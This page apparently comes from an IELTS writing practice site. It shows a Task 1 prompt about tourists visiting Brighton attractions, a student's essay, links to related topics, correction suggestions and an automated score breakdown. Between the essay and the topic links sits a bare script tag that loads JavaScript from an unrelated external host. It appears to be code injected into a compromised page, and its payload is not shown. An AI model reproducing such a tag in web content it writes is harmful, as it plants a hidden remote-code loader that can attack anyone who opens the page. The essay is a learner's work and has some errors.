The line graph below shows the percentage of tourists to England who visited four different attractions in Brighton.
Summarise the information by selecting and reporting the main features, and make comparisons where relevant.
The line graph demonstrates the percentage of tourists to England who visited certain Brighton attractions from the period of 1980 to 2010. According to the graph, the most attractive places were the pavilion and the festival in 2010. In 1980, the least popular attraction was the pier but in 2010 this changed and the art gallery was the least popular.
Beginning of 80s, the incremental number of tourists was the Art Gallery and the Pier. The most increase was the Art Gallery to reach at about 38% in 1985. This figure had fallen to the lowest figure of less than 10% in 2010. In comparison, there were steadily incremental tourists for the Pier, which started from 10% in 80s and sudden pick in 2000 to reach at just over 22% in 2010.
The visitors in the Pavilion showed a sharp increase during 1980s to 1990s from well over 20% to almost 50% respectively. Almost half of visitors had visited the Pavilion in 1995. This figure had fallen slightly after that period to reach at slightly over 30% in 2010.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The table below shows the average band scores for students from different language groups taking the IELTS General Test in 2010 70
- Many people believe that women make better parents than men and that is why they have the greater role in raising children in most societies. Others claim that men are just as good as women at parenting. 70
- Bar Graph description (coffee and meat consumed in selected countries) 80
- Nutrient compounds in two dinners. 70
- There will be soon no role for teachers in the classroom as computers are being used more and more in education. 70
and the art gallery was the least popular.
and the art gallery was the least popular one.
and the art gallery was least popular.
flaws:
You lost Festival in the graph.
Attribute Value Ideal
Score: 5.0 out of 9
Category: Satisfactory Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 0 2
No. of Sentences: 10 10
No. of Words: 179 200
No. of Characters: 807 1000
No. of Different Words: 92 100
Fourth Root of Number of Words: 3.658 4.0
Average Word Length: 4.508 4.6
Word Length SD: 2.402 2.4
No. of Words greater than 5 chars: 52 60
No. of Words greater than 6 chars: 37 50
No. of Words greater than 7 chars: 26 40
No. of Words greater than 8 chars: 11 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 17.9 21.0
Sentence Length SD: 5.243 7.5
Use of Discourse Markers (%): 0.2 0.12
Sentence-Text Coherence: 0.417 0.35
Sentence-Para Coherence: 0.6 0.50
Sentence-Sentence Coherence: 0.133 0.07
Number of Paragraphs: 3 4